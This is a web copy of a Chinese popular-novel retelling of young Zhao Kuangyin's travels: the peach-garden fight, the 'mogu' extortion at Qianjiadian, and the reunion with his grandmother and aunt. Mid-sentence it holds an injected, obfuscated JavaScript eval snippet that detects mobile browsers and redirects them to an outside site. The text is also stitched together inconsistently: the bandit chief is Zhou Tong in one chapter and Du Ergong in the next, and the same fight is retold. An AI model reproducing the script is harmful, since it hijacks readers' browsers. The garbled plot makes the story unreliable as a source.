第二天一早,郭威升帅府大堂,手下将领都来参拜。他当着众人的面,封柴荣为帐下参军,负责运筹帷幄。接着,他故意皱着眉说:“如今我奉王命守这邺都,可兵力太少,怕挡不住敌军。柴参军,你去四门立起旗号,招兵买马,挑选能征善战的勇士。这事关国家安危,你可不能马虎!” 其实郭威是故意这么说——他明着是让柴荣招兵,暗地里是让柴荣培养自己的势力,为将来称帝铺路。柴荣心里明白,赶紧领命:“谢姑爹信任!小侄定不辱使命!”他挂了参军印,出了帅府,立刻让人在东西南北四门立起“招兵”大旗,又贴了告示:凡年满十六、不满五十,身强力壮者,均可参军,待遇从优。 消息一传开,四方的好汉都来了——有庄稼汉,有猎户,还有退伍的老兵,没几天就招了三千多人。柴荣亲自挑选,把身手好的编到精锐营,还请了老将领教武艺。他心里盘算着:“这些人都是我的心腹,将来姑爹成事,全靠他们了。” 咱们暂且不说柴荣招兵买马的事,再说说赵匡胤。他在兴龙寺住了一个多月,每天跟着玄真长老练拳,日子过得倒也安稳。可赵匡胤是个闲不住的人,总想着出去闯荡,干一番大事业。这天一早,他就收拾好了行李,去见玄真长老。 玄真长老正在佛堂念经,见赵匡胤进来,就知道他要走。长老叹了口气,从怀里掏出个黄布包的平安符:“匡胤啊,你这一去西行,路上可不太平。初冬时节天寒,山路又滑,这平安符是老衲在佛前供了三个月的,你带着,能保你一路顺遂。记住,遇事多忍忍,别像上次在董家酒楼似的,动不动就跟人动手。” 赵匡胤接过平安符,心里暖烘烘的,眼眶有点红:“师父,您放心,我这次一定收敛性子。等将来我有了出息,就回来给寺庙添香油,再给您盖座新佛堂!”师徒俩又聊了会儿,玄真长老叫人备了酒菜,为赵匡胤饯行。 吃过饭,赵匡胤把盔甲、行李捆在马背上,神煞棒系在腰里,翻身上马。玄真长老带着众僧送到山岔路口,再三叮嘱:“路上多保重,遇到难处就找当地的寺庙,僧人们会帮你。”赵匡胤点点头,勒转马头,挥了挥手:“师父,弟子走了!”说完,一拍马屁股,朝着西边疾驰而去。 此时已是初冬,路边的草都黄了,风一吹,卷起地上的落叶,带着股凉意。赵匡胤骑着马,心里又激动又迷茫——他不知道自己要去哪里,也不知道将来能做什么,只想着能遇到识才的人,施展自己的本事。 跑了约莫两个时辰,赵匡胤有点渴了,正想找个地方喝水,忽然看见路边有座花园。那花园围着竹篱笆,里面没种别的树,就栽了几十棵桃树。奇怪的是,这时候都入冬了,桃树上竟挂着十几个碗口大的鲜桃,红扑扑的,还带着水珠,看着就好吃。 赵匡胤心里纳闷:“这冬天怎么还有鲜桃?难道是用了什么法子养的?还是这地方的气候特别?”他越看越馋,口水都快流出来了,不知不觉就跟着马进了花园。到了桃树下,他跳下马,把马拴在篱笆上,伸手摘了个桃子——果皮薄得能看见里面的果肉,咬一口,又香又甜,汁水顺着嘴角往下流,比夏天的桃子还好吃。 原来这桃叫“雪桃”,三月开花结果,园丁们用暖棚捂着,精心照料到冬天才能成熟。要是下了雪,桃子上沾着雪,看着更娇艳,味道也更甜,是当地有名的特产,每年都要进贡给官府。后来金兵南下,打到陕西,把种雪桃的园子烧了,这雪桃就绝种了,实在可惜。 赵匡胤吃完一个,觉得不过瘾,又摘了一个吃。这时候他才想起,不能白吃人家的桃子——园丁们肯定花了不少心思,要是不给钱,心里过意不去。他摸了摸腰里的钱袋,掏出二十文钱,用草绳穿了,挂在桃树枝上,心里想:“一个桃子十文钱,两个正好二十文,不算亏了他们。” 刚挂好钱,赵匡胤又想:“这么好吃的桃子,不如再摘两个带着,路上饿了吃。”他又拿出二十文钱挂上,伸手去摘桃。可刚摘下来,就听见竹篱笆那边有动静——原来是看桃的丫鬟小翠。小翠今年十五岁,跟着主人李翠莲看园子,刚才她在屋里缝衣服,听见外面有动静,就偷偷来看,正好看见赵匡胤摘桃。 小翠吓得赶紧往屋里跑——她知道自家主人的脾气。李翠莲今年三十多岁,力气大得能举起百斤重的石头,性子比男人还烈,因为长得黑,脸上还有块疤,别人都叫她“母夜叉”。她嫁给猎户李忠后,就在家种雪桃,靠卖桃和进贡过日子,谁要是敢动她的桃子,她能跟人拼命。 小翠跑进屋里,喘着气说:“主、主人!不好了!园子里有人偷桃!”李翠莲正在磨两根生铁锤头——这是她防身的兵器,听见这话,把锤头往桌上一摔,骂道:“哪个不长眼的敢来偷我的桃!这可是要进贡给节度使的,少一个都要掉脑袋!”她提起锤头,迈开大步就往园子里跑,心里还琢磨:“要是真丢了桃,我非把这偷桃的大卸八块不可!” 赵匡胤刚把桃子揣进怀里,就听见身后有人喊:“哪里来的贼,敢偷老娘的桃!”他回头一看,只见一个黑壮的妇人,手里提着两根铁锤,满脸怒气地冲过来。那妇人头发梳成三绺,用红头绳扎着,穿一件玄色短衫,绿裙子下摆掖在腰里,露出一双缠过的小脚,可跑起来比男人还快。 赵匡胤赶紧陪笑道:“大嫂,别生气,我不是偷桃,是买桃吃。我已经把钱挂在树上了,你去看看就知道。”李翠莲哪里肯信,举起锤头就往赵匡胤头上砸:“你这红脸贼!还敢狡辩!这桃是进贡的,就算你给一百文钱,也不能吃!” 赵匡胤赶紧侧身躲开,锤头砸在地上,把土砸出个小坑。他心里有点火了:“我都说了给了钱,你怎么还动手?古话说‘不知者不罪’,我又不是故意的。”李翠莲更生气了,又是一锤砸过来:“你私吃贡物,就是死罪!还敢跟老娘讲道理!”说着,挥舞着锤头,没头没脑地打过来。 赵匡胤本来不想跟女人动手,可李翠莲越打越凶,他只好躲来躲去。后来实在忍无可忍,趁着李翠莲又一锤砸过来,他往旁边一闪,伸脚一绊——李翠莲重心不稳,“扑通”一声摔在地上,锤头也掉了。赵匡胤赶紧上前,一脚踩住她的胳膊,随手折了根桃枝,对着她的后背轻轻打了几下:“大嫂,你还敢打吗?再打我可不客气了!” 李翠莲疼得直咧嘴,可嘴上还硬:“你敢打老娘!我丈夫回来饶不了你!”赵匡胤听了,又用桃枝打了几下,李翠莲终于熬不住了,哭着喊:“好汉饶命!我不敢了!你要吃桃就吃,我不拦你了!” 赵匡胤这才松开脚,把桃枝扔了:“早这样不就好了?以后别这么凶,对人客气点。”李翠莲爬起来,披头散发的,脸上还有土,被两个丫鬟扶着,一瘸一拐地往屋里走。回到屋里,她越想越气,拍着桌子哭:“这红脸汉子太欺负人了!等我男人从山里回来,我一定要找他报仇!” 赵匡胤没管李翠莲,把怀里的桃子揣好,解开马缰绳,翻身上马,继续往西走。跑了大约二里地,看见路边有块界碑,上面写着“千家店”三个大字。他心里一喜:“正好,找个店住下来,歇歇脚。” 进了千家店,赵匡胤看见路边有个“王记酒店”,就跳下马,把马和行李交给店小二孙二,说:“把我的马牵去喂点料,再给我找间干净的屋子。”孙二是个机灵人,赶紧接过缰绳:“客官您放心,我这就去办!” 赵匡胤提着神煞棒,进了酒店。店里摆着四张桌子,有两个客人正在喝酒。他找了个靠窗的桌子坐下,孙二端来一壶茶:“客官,您想吃点什么?我们这儿有酱牛肉、炒鸡蛋,还有刚炖好的羊肉汤。”赵匡胤说:“来一盘酱牛肉,一碗羊肉汤,再要两个馒头。” 没过多久,菜就端上来了。赵匡胤正吃着,店主王老实走了过来。王老实五十多岁,头发都白了,脸上满是皱纹,一看就是个老实人。他拱了拱手:“客官,您从哪里来啊?”赵匡胤放下筷子:“我从东边来,要往西边去。老掌柜,您贵姓啊?”王老实笑着说:“我姓王,叫王老实,这店是我爹传下来的。您叫我老王就行。” 两人正聊着,孙二慌慌张张地跑进来,声音都发颤:“掌柜的!不好了!明日是十五,抹谷大王的人来说,要咱们交三十石谷,还得您亲自去抹谷,不能找人替!要是不从,就要烧店!” 王老实一听,脸都白了,搓着手,在屋里转圈:“这可怎么办啊?咱们哪有三十石谷啊?上次张大叔家没交,店都被烧了,一家老小都没地方去……”赵匡胤听着纳闷,问道:“老掌柜,这‘抹谷大王’是谁啊?什么叫‘抹谷’?怎么还要交谷?” 王老实叹了口气,坐下来,慢慢说道:“客官,您有所不知。这西边二十多里有座太行山,山上有伙强盗,为首的叫威山大王,还有个巡山太保,手下有五千多人,到处欺负百姓。上个月又来个抹谷大王,姓周,叫周通,坐第三把交椅。这周通好吃狗肉,每次煮了狗肉,就带着人到镇上,挨家挨户让百姓‘抹谷’。” “怎么个抹法?”赵匡胤追问。 “就是把煮好的狗肉往百姓嘴边抹一下,闻闻香味,然后就要钱要谷。”王老实接着说,“分上中下三等:上户抹一下,交三十石谷;中户二十石;下户十石。要是敢不交,就烧房子、抢东西。明日是十五,该轮到咱们千家店了,我正愁着呢——咱们这小店,一年也赚不了三十石谷啊!” 赵匡胤听了,气得拍了下桌子:“这不是明抢吗!老掌柜,你别愁,明日我替你去抹谷,我倒要看看这抹谷大王是个什么东西!” 王老实赶紧摆手:“使不得!使不得!那大王的规矩严得很,说要正身,就不能找人替,要是被识破了,咱们都得遭殃!”赵匡胤笑了:“老掌柜,您放心,他们哪能认得出谁是真的?我就说我是您的舅舅,不就完了?” 王老实还是犹豫:“可我这么大年纪了,哪来这么年轻的舅舅?”旁边的孙二出主意:“掌柜的,这有啥?明日见了大王,就说这位客官是您外婆老来所生的舅舅,年纪小,不就合理了?” 王老实一想,也没别的办法,只好点头:“那……那客官您可得小心啊!”赵匡胤拍了拍胸脯:“放心,有我在,保准没事!” 当天晚上,王老实让孙二给赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519288|186248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 匡胤收拾了间最好的屋子,还加了床厚被子。赵匡胤躺在炕上,心里琢磨:“这抹谷大王欺负百姓,我得好好教训他一顿,让他不敢再作恶。” 第二天一早,王老实特意给赵匡胤做了碗鸡蛋面,再三叮嘱:“客官,到了那儿,能忍就忍,别跟他们硬碰硬。”赵匡胤点点头,吃了面,跟着孙二往外走。 刚到门口,就听见远处传来马蹄声和呐喊声:“大王来了!王店主快出来抹谷!”赵匡胤抬头一看,只见一群人簇拥着一个骑马的汉子过来——那汉子头戴素缎扎巾,身穿紫□□服,腰里系着鸾带,脚踩乌靴,脸上留着长髯,看着倒有几分威风。身后跟着几十个嘍啰,有的扛着刀,有的捧着食盒,嘴里喊着,吓得街上的百姓都躲回屋里不敢出来。 这骑马的汉子就是周通。他本来是个农户,去年家乡遭了灾,颗粒无收,父母都饿死了,他走投无路,才上了太行山。威山大王见他身手好,就让他管抹谷的事。周通心里其实不想欺负百姓,可要是不听威山大王的话,自己就得死,只好硬着头皮干。 周通勒住马,看见赵匡胤,皱了皱眉,问身边的嘍啰张小三:“这是谁?王店主呢?”张小三赶紧跑过去,指着赵匡胤:“大王,这是王店主的舅舅,王店主得了瘫痪,来不了,让他舅舅替来抹谷。” 周通一听,脸沉了下来:“我昨天不是说了吗?要正身,不许替代!你们敢违抗我的命令?”孙二赶紧跪下,磕了个头:“大王饶命!王店主真的病了,起不来床,求您开恩,让他舅舅替一次,下次一定让王店主亲自来!” 周通心里有点软了——他知道百姓不容易,可又怕威山大王怪罪,只好说:“好吧,让他舅舅过来抹谷。” 张小三赶紧喊:“老王的舅舅,快过来抹谷!”赵匡胤走过去,心里冷笑:“终于轮到我了。” 周通叫嘍啰把食盒打开,里面装着一块煮熟的狗肉,油光锃亮,还冒着热气。嘍啰把狗肉递到赵匡胤面前:“这是五香狗肉,抹一下消灾,抹两下祛病,快抹!” 赵匡胤接过狗肉,没等嘍啰反应过来,张嘴就咬——一口接一口,没一会儿就把这块狗肉吃了个干净。张小三急了,跳着脚喊:“你怎么真吃啊!规矩是抹一下交三十石谷,吃一口要六十石!你把这块吃了,得交多少啊!” 赵匡胤拍了拍肚子,笑着说:“急什么?我又不是白吃。你们既然敢摆出来让‘抹谷’,就别怕我吃。别说六十石,就是六千石,我也拿得出来——不过得跟我去取。” 周通坐在马上,看着赵匡胤——这汉子身材魁梧,眼神锐利,一看就不好惹。他心里想:“算了,一块狗肉而已,跟他计较也没用,回头跟王老实算账就是了。”他对嘍啰说:“再拿块狗肉给他,让他吃个够!” 嘍啰们又拿出几块狗肉,递给赵匡胤。赵匡胤接过来,三两口就吃完了,还喊:“不够!把食盒里的都拿来!”嘍啰们只好把食盒里剩下的狗肉都给他。赵匡胤故意把手一松,一块狗肉掉在他的袍服上,油渍立刻渗了进去。 他顿时沉下脸,指着嘍啰骂:“你这狗东西!怎么把狗肉掉在我衣服上?你知道这衣服多贵吗!”说着,一巴掌扇过去,那嘍啰“扑通”一声倒在地上,嘴角流出血来。 周通一看,怒了——他虽然不想欺负百姓,但也不能看着自己的人被打。他跳下马,撸起袖子,冲过去对着赵匡胤脸上就是一拳:“红脸贼!你敢打我的人!” 赵匡胤把头一低,躲过拳头,用左手架住周通的胳膊,心里暗赞:“这大王身手不错,可惜跟错了人。”他笑着说:“你要是有本事,就跟我过几招。我让你先打三趟,要是能碰到我,就算你赢!” 周通也不客气,跳到场中间,先打了个飞脚,然后使出看家本领——他学的是“五脚操”,长拳短打都很熟练,一会儿是“四平架”,一会儿是“出洞蛟”,拳风凌厉,看得旁边的嘍啰们都喊好。 三趟打完,周通站稳身子,喊:“红脸贼!该你了!”赵匡胤也不含糊,先踢了个“双龙飞脚”,身子离地八尺多高,然后拉开架式——他的拳法是在少林寺学的,名叫“太祖神拳”,一招一式都刚劲有力,比周通的拳法更胜一筹。 周通看了,心里更警惕了。他冲过去,左拳直捣赵匡胤的胸口,右腿对着赵匡胤的膝盖踢去。赵匡胤侧身躲开,顺势在周通的腿上拍了一掌。周通只觉得腿一麻,赶紧收回腿,又使出“泰山压顶”“饿虎扑食”两招,可都被赵匡胤躲开了。 周通急了,拳打脚踢,乱了章法。赵匡胤抓住机会,使出“黑虎掏心”,一拳打向周通的胸口。周通来不及躲,只好用胳膊去挡——“啪”的一声,周通被打得后退了几步,胳膊又酸又疼。 就在这时,旁边突然有人喊:“住手!别打了!”赵匡胤和周通都停下动作,回头一看——只见一个穿着粗布衣服的年轻人跑过来,手里还提着个篮子,里面装着草药。 那年轻人跑到周通身边,着急地说:“哥,你怎么又跟人打架?威山大王说了,要是你再惹事,就把你赶出山!”原来这年轻人是周通的弟弟周顺,一直在山下采药,刚才听说周通在千家店跟人动手,赶紧跑过来劝。 周通瞪了周顺一眼,又看了看赵匡胤,心里想:“这汉子身手比我好,真打起来我也赢不了,不如借坡下驴。”他对赵匡胤说:“今日看在我弟弟的面子上,饶了你。下次再敢惹事,我饶不了你!” 赵匡胤笑了:“我还怕你不成?要是你敢再欺负百姓,我定要拆了你的山寨!” 周通没再说话,翻身上马,带着嘍啰们走了。王老实和孙二赶紧跑过来,拉着赵匡胤的手说:“客官,您可太厉害了!要是没有您,我们店就完了!”赵匡胤摆摆手:“举手之劳而已。不过这抹谷大王肯定不会善罢甘休,你们以后可得小心。” 王老实叹了口气:“唉,能躲一天是一天吧。”赵匡胤想了想,说:“老掌柜,我看你也是个老实人,不如跟我一起走,去邺都投奔柴参军。柴参军正在招兵买马,你去了,说不定能谋个差事,比在这儿受欺负强。” 王老实眼睛一亮:“真的?那太好了!我这就收拾行李,带着儿子一起走!” 当天下午,王老实带着儿子王小宝,跟赵匡胤一起离开了千家店。他们不知道,周通回到太行山后,被威山大王骂了一顿,还被责令下次一定要把千家店的谷收上来。周通心里憋屈,暗暗打定主意,要找机会脱离太行山,不再做欺负百姓的事。 而赵匡胤带着王老实父子,朝着邺都的方向走去。他不知道,自己这一去,将会遇到改变他一生的人,也不知道,一场更大的风暴正在等着他。 究竟赵匡胤到了邺都后会遇到什么?周通又会做出怎样的选择?咱们下回再说。 24. 第 24 章 话说那自称“抹谷大王”的杜二公,仗着自己拳脚功夫硬、力气比常人大,先在赵匡胤面前摆了三个花架子,耀武扬威地让赵匡胤也亮几招。等两人一交手,杜二公就把自己这辈子学的本事全使出来了,满脑子就想着一定要打赢。可他没料到,自己的每一拳、每一脚都被赵匡胤轻巧地躲了过去——赵匡胤心里早有盘算:这恶霸平日欺负百姓,今天正好替天行道,先看看他到底有几分能耐,没必要一开始就下狠手。 杜二公见自己的招式全被看穿,心里顿时慌了神,原本还算规整的拳法瞬间乱了套,手脚也没了章法,只顾着胡乱踢打,勉强撑着不倒下。赵匡胤瞅准他章法大乱的空档,猛地伸手抓住他的左脚,往后轻轻一推,杜二公就像个破麻袋似的,仰面朝天摔在地上。紧接着,赵匡胤快步上前,一脚踩在他胸口,这场景跟当初在桃园收拾那泼辣妇人(后来才知是舅母)时一模一样——他盯着杜二公,心里又气又恨:你这恶霸,天天搜刮百姓,今天就让你尝尝被欺负的滋味!抬手就往杜二公鼻梁上揍了一拳,接着又对着他全身一顿猛打,拳头落下去的节奏,就像农家捣蒜似的,一下接一下,打得杜二公疼得直喊“饶命”。 旁边的喽啰们早就吓得腿软,他们早就听说过赵匡胤力气大、功夫好,这会儿见大王被打成这样,谁也不敢上前帮忙;千家店的百姓们则围在一旁看热闹,也没人敢上前劝架——毕竟杜二公平日里横行霸道,大家早就憋了一肚子气,这会儿见有人收拾他,心里都暗爽,只是怕事后被报复,不敢表露出来。 人群里有几个头发花白的老者,实在怕打出人命,到时候杜二公的人报复起来,整个村子都要遭殃。其中一个姓张的老者赶紧挤出人群,跟另外两个老头一起冲上去抱住赵匡胤,急急忙忙地说:“好汉住手!这是我们这儿的‘寨尊’(其实就是恶霸自称的头衔),你今天动手打了他,自己痛快了,可我们这些老百姓要倒霉啊!他要是恼羞成怒,带着人来拆村子,我们可经不起折腾!你就忍忍,别再打了,这也是为了你自己好,免得惹上更大的麻烦。” 赵匡胤听他们这么说,心里也明白百姓的难处——他想起自己从东京逃出来后,一路上见了不少恶霸欺负穷苦人,要是今天自己走了,杜二公肯定会变本加厉报复村民。但眼下被老者们抱住,也只能先停手,对着地上的杜二公骂道:“你这狗东西!我本来想打死你,今天看在这些老人家的面子上,就饶你一条狗命!” 杜二公这才连滚带爬地站起来,也顾不上鼻子青、脸肿,更忘了自己“抹谷大王”的架子,翻身上马,带着喽啰们一溜烟往山上跑,连平日里搜刮百姓的“抹谷”差事都忘了。这场景,真是应了那句老话:刚才还想着要像打仗一样威风,转眼间就成了丧家之犬,只顾着逃命。 赵匡胤看着杜二公逃走的背影,哈哈大笑:“就这两下子,还敢自称大王?连点真本事都没有,也好意思在人前吹牛耍横!” 可他刚说完,周围的百姓就开始抱怨起来。刚才劝架的张老头叹了口气:“唉,都怪老王(杜二公的邻居),他自己不敢出来跟杜大王理论,偏让他这年轻的外甥(指赵匡胤,当时百姓还不知道他身份)出来惹事!杜大王这一回去,肯定要去山寨调兵,到时候咱们村子可就惨了,这可怎么办啊?” 赵匡胤一听,立马拍着胸脯说:“各位乡亲别担心,也别埋怨别人。今天这事是我一个人做的,我肯定一个人担着!我既然有本事打跑他,就不怕他调兵来。我现在就去他的老巢,把他的人全收拾了,干脆给你们除了这个大祸害,也让你们看看我赵匡胤不是那种惹了事就跑的人!要是我今天走了,让你们受连累,那我还算什么大丈夫?” 说完,他气得胸脯都起伏着,抬脚就要往山上走。人群里有个爱多嘴的年轻小伙,赶紧喊道:“好汉等一下!你要找他,不用跑那么远!杜大王的家就在咱们村西边,离这儿也就半里地。他家大门刷的是朱红油漆,特别高大,一眼就能看见。他家里有老母亲、老婆,还有好几个丫鬟、仆役呢!你要是能直接去他家解决了这事,那才真叫厉害!” 赵匡胤哪能等?立刻对百姓们说:“大家该干嘛干嘛去,不用管我!我今天就算拼了,也要去他家斩草除根,绝不让他再欺负你们!”说完就往西走。 张老头和另外几个老者赶紧追上去喊:“好汉别冲动啊!那杜大王的老婆也不是好惹的,性子泼辣得很,天不怕地不怕,你这去了要是打不过她,岂不是白白送命?还是别去了!”可赵匡胤就像没听见似的,脚步更快了。 走了大概半里地,果然看见路北有一座大房子——朱红的大门,比村里其他人家的门高了一大截,看着跟官府的衙门似的,只是大门关得紧紧的,没一点动静。赵匡胤走过去敲门,敲了好几下都没人应。他心里的火气又上来了,攥紧拳头,对着大门“咚咚咚”地猛敲,那声音跟敲鼓似的,震得门板都直响。 又等了一会儿,才听见里面传来脚步声,有人隔着门问:“谁啊?敲门这么用力!” 赵匡胤在门外憋着气,大声回道:“我姓闯名祸,从东京来的!专门来找那个欺负好人、怕硬的狗东西算账!” 门“吱呀”一声开了,门口站着一个头发花白的老婆婆,穿着深蓝色的布衫,手里还拿着个针线笸箩。她见了赵匡胤,眼睛一眨不眨地盯着他,从上到下看了好几遍,才小心翼翼地问:“这位君子,你是不是喝了酒啊?” 赵匡胤皱着眉说:“我清清白白做人,又不抢老百姓的东西,哪来的酒喝?” 老婆婆又问:“那你没喝酒,脸怎么这么红啊?” 赵匡胤有点不耐烦了:“我天生就是这脸色,跟喝不喝酒没关系!” 老婆婆本来是好心问话,可赵匡胤不仅没好脸色,还瞪着眼睛,一副凶巴巴的样子,她心里也犯嘀咕:这年轻人到底是来干嘛的?但还是硬着头皮又问:“君子,你既然是从东京来的,那你有没有见过一个红脸的人,小名叫香孩儿啊?” 赵匡胤一听,立马火了,大声骂道:“你这老太婆!敢随便叫我的小名,太没规矩了!” 老婆婆被他这么一骂,吓得浑身发抖,不敢说话了,但心里却突然冒出一个念头:他怪我叫他小名,难道他就是我的外甥香孩儿?她偷偷又看了赵匡胤几眼,越看越觉得像——那眉眼、那身高,跟女儿杜氏年轻时说的香孩儿模样差不多。她咬了咬牙,不管赵匡胤还在生气,上前一步抓住他的衣角,声音都有点发颤:“我的亲外甥啊!你别把我当成外人,你的亲娘杜氏,是我的女儿,我是你爹赵指挥(指赵匡胤父亲赵弘殷,曾做过指挥使之职)的丈母娘啊!你当年生在夹马营,小名叫香孩儿,我还记得呢!那年我跟你娘分开的时候,你才七岁,这一晃十几年过去了,一点消息都没有。没想到今天能在这儿见到你,你到底是来干嘛的?跟姥姥说说,别瞒着我。” 赵匡胤一听,心里“咯噔”一下:我本来是来收拾恶霸的,怎么走到姥姥家来了?难道是刚才走得太急,走错路了?可这亲情是真是假,还得再问问清楚。他定了定神,问道:“老人家,你既然说是我的姥姥,那你说说我娘的生辰八字是多少,长得什么样?你要是说的一点不差,我就认你;要是有一个字说错了,休怪我不客气!” 老婆婆一听,忍不住笑了:“你这小子,还敢盘问起姥姥来了!我要是不说清楚,你还真以为我是冒认亲戚呢!听好了:你娘是辛酉年八月十五日子时生的,今年五十二岁,身高也就四尺九寸,长着一双凤眼、两道柳眉,为人稳重又端庄。这都是千真万确的,你自己想想对不对?要是你还不信,我再说说你爹的生辰八字和模样,保管你心服口服!” 赵匡胤听她说的分毫不差,心里明白这确实是自己的姥姥,赶紧“扑通”一声跪下,声音也软了下来:“姥姥!您果然是我的外祖母!我就是香孩儿赵匡胤啊!我因为在汴梁(东京)闯了大祸,没办法才逃到关西来,正愁没地方去,没想到误打误撞敲了您家的门,这真是老天爷保佑!我娘在家的时候,也经常念叨您,总说不知道您过得好不好。刚才我对您不敬,还请姥姥原谅我不懂事!” 老婆婆见他认了亲,高兴得眼泪都快流出来了,赶紧把他扶起来,又拉着他的手仔细看:“快起来快起来!不知者不罪,姥姥不怪你!你看你现在长得这么高大,模样也周正,真是个好后生!前几天我家的喜鹊天天叫,我还纳闷是怎么回事,原来就是你要来看姥姥的好兆头啊!”说完,她拉着赵匡胤的手往院子里走,还喊来旁边站着的老仆李伯:“李伯,快把后堂的门打开,再让小翠去泡壶好茶来!” 李伯是跟着老婆婆多年的老仆,刚才一直站在门后看着,这会儿赶紧应了声“哎”,心里还嘀咕:这外甥看着就不是普通人,要是二公子(指杜二公)回来知道了,不知道会怎么想——毕竟二公子平日里可没少欺负人,万一这外甥跟他起冲突,可就麻烦了。 赵匡胤跟着姥姥进了后堂,见这屋子收拾得挺整齐,墙上还挂着一幅旧画,画的是桃花,看着有些年头了。他坐下后,喝了口小翠端来的茶,忍不住问:“姥姥,您家这大门怎么这么气派,看着跟官府的房子似的?” 老婆婆叹了口气:“孩子,你有所不知啊!这房子本来是朝廷的御果园衙门,专门管收果子的,所以才这么气派。要是普通老百姓家,哪敢住这么好的房子?” 赵匡胤又问:“那我的两个舅舅呢?他们现在在哪儿?” 老婆婆一听这话,眼睛立马红了,擦了擦眼角说:“孩子,这事说起来就长了。我本来有两个儿子,可惜你大舅早年在任上病死了,现在就剩下你二舅,名叫杜二公。他对我倒是孝顺,家里日子也过得还行,可就是有个坏毛病——仗着自己会点功夫,总爱干些不三不四的事。前年他带着我、还有你舅母一家,搬到了这儿,硬是把人家管的御果桃园抢了过来,还霸占了这衙门当自己家,天天吓唬村里的人。可他还不满足,又去太行山当了山寨的三寨主,经常带着人抬着狗肉,到各村各镇去敲诈老百姓,挨家挨户让人家‘抹谷’(就是搜刮钱财粮食),还自称‘抹谷大王’。就靠着山寨的势力干这些伤天害理的事,我天天劝他改邪归正,可他就是不听。要是这孩子能好好做人,我就算天天吃斋念佛也愿意啊!”说完,她又忍不住叹气,眼泪也掉了下来。 赵匡胤听完,心里别提多慌了:完了完了!我刚才打的那个抹谷大王,竟然是我的亲舅舅?我做梦都没想到啊!刚才还把他打得那么惨,这以后怎么跟他见面?都怪我太冲动,没问清楚就动手,现在可怎么办? 他坐在那儿,心里七上八下的,懊悔得不行。想了一会儿,他琢磨着:要不我求姥姥帮我说说情,让她在舅舅面前替我解释解释,说不定这事就能过去了?可转念又想:万一姥姥说了,舅舅还是不原谅我,那我岂不是犯了“以下犯上”的罪?这可怎么收场啊? 就在他愁得没办法的时候,突然想起一句话:“男人大多听老婆的话。”他眼睛一亮,赶紧问姥姥:“姥姥,原来二舅是这么个英雄人物,不愧是咱们家的人,真是太好了!那他娶了舅母没有啊?” 老婆婆说:“娶了,就是咱们这附近的人家,叫柳氏。可你这舅母性子也泼辣,跟你二舅一样爱惹事,我这心里就更愁了。” 赵匡胤赶紧说:“这没事,英雄配豪杰,本来就该这样!姥姥,您能不能去通报一声,请舅母出来见个面啊?” 老婆婆刚要答应,又想起什么:“哦,对了,我听说她昨天去桃园了,说不定现在还没回来呢。” 赵匡胤一听,心里又是一沉:她去桃园了?难道我昨天在桃园打的那个拿铁锤的妇人,就是舅母?他赶紧追问:“姥姥,咱们家的桃园在哪儿啊?” 老婆婆说:“就在千家店的村头,离这儿也就一里多地。要不我让小翠去叫她回来?”说完,她就喊来小翠:“小翠,你去桃园看看,叫你家奶奶回来,就说东京来的赵公子到了,要跟她见面。” 小翠刚要走,又停下来说:“回太太,奶奶今天早上就回来了,现在正在房里歇着呢,说是身上不舒服。” 老婆婆说:“既然回来了,那你快去通报,让她赶紧出来。” 小翠答应着去了内房,对着里面喊道:“奶奶,太太让您出去一下,东京来的赵公子到了,是太太的外孙子,要跟您见面呢。” 其实柳氏(也就是舅母)昨天被赵匡胤打了一顿,浑身疼得厉害,今天早上才从桃园回来,正躺在床上敷药呢。她一听“东京来的赵公子”,心里就琢磨:我早就听婆婆说过,东京有个红脸的外甥,是个好汉,今天终于来了,按理说该去见见。可一想起昨天被那个红脸大汉打的事,她就气得牙痒痒——浑身现在还疼呢,走路都费劲。 她咬着牙爬起来,走到梳妆台前,想把脸上的伤遮一遮。拿起镜子一看,鼻子青一块、脸肿一块,惨不忍睹。她只好往脸上厚厚的涂脂粉,试图盖住伤痕,又换了一件新的蓝布衫,忍着身上的疼,慢慢往外走。走之前,她还对着镜子叹了口气:这要是让外甥看见我这模样,多丢人啊! 她让小翠先去通报,自己慢慢跟在后面。赵匡胤听说舅母来了,赶紧站起来,往门口看——这一看,吓得他脸都白了,心里直叫苦:完了完了!这不是昨天在桃园被我打的那个妇人吗?怎么会是舅母啊!得罪了舅舅,还能找姥姥说情,可现在又得罪了舅母,这可怎么解释?这两下罪加在一起,谁还能帮我说话啊? 没办法,他只能硬着头皮走上前,弯腰作揖,恭敬地说:“舅母大人在上,外甥赵匡胤给您行礼了。” 柳氏刚走进来,抬头一看赵匡胤,也吓得往后退了两步,心里跟翻了锅似的:这不是昨天在桃园打我的那个红脸大汉吗?怎么会是我家外甥?我一个舅母,被外甥打了,这要是传出去,我还有脸见人吗?她越想越觉得丢人,转身就往回走。 老婆婆一看这情景,立马就火了,对着柳氏的背影喊道:“你这贱人,发什么疯!平日里见了外人,嘴巴比谁都能说,今天见了外甥,怎么跟个小家子似的躲着?孩子,你先坐下等会儿,我去问问她到底怎么回事!”说完就要往内房走。 赵匡胤赶紧上前拉住姥姥,急着说:“姥姥您别去,这里面有误会,您听我跟您说。” 老婆婆甩开他的手:“你别拦着我!你跟她从来没见过面,能有什么误会?我今天非得问问她,为什么见了外甥就躲!” 赵匡胤赶紧说:“姥姥您别生气,真的有隐情。昨天我还没进千家店的时候,不小心走到了桃园里,看见园子里的桃子长得特别好,而且现在还是初冬,能有这么新鲜的桃子,我觉得特别稀奇,一时嘴馋,就摘了几个吃了。结果被丫鬟看见了,告诉了舅母,舅母就拿着两根铁锤过来打我。” 老婆婆一听,立马指着内房骂道:“你这没良心的东西!外甥吃几个桃子,能值几个钱?你就拿着铁锤打他,要是把我的亲外孙打坏了,我饶不了你!” 赵匡胤赶紧拉住姥姥,劝道:“姥姥您别生气,我还有话没说完呢。那时候我一来没见过舅母,不知道您是长辈,二来我这性子从小就倔,不肯吃亏,所以才跟舅母起了冲突,让她受了委屈。我怕舅母因为这事生气,不肯原谅我,所以还请姥姥您帮我说说情,劝劝舅母。” 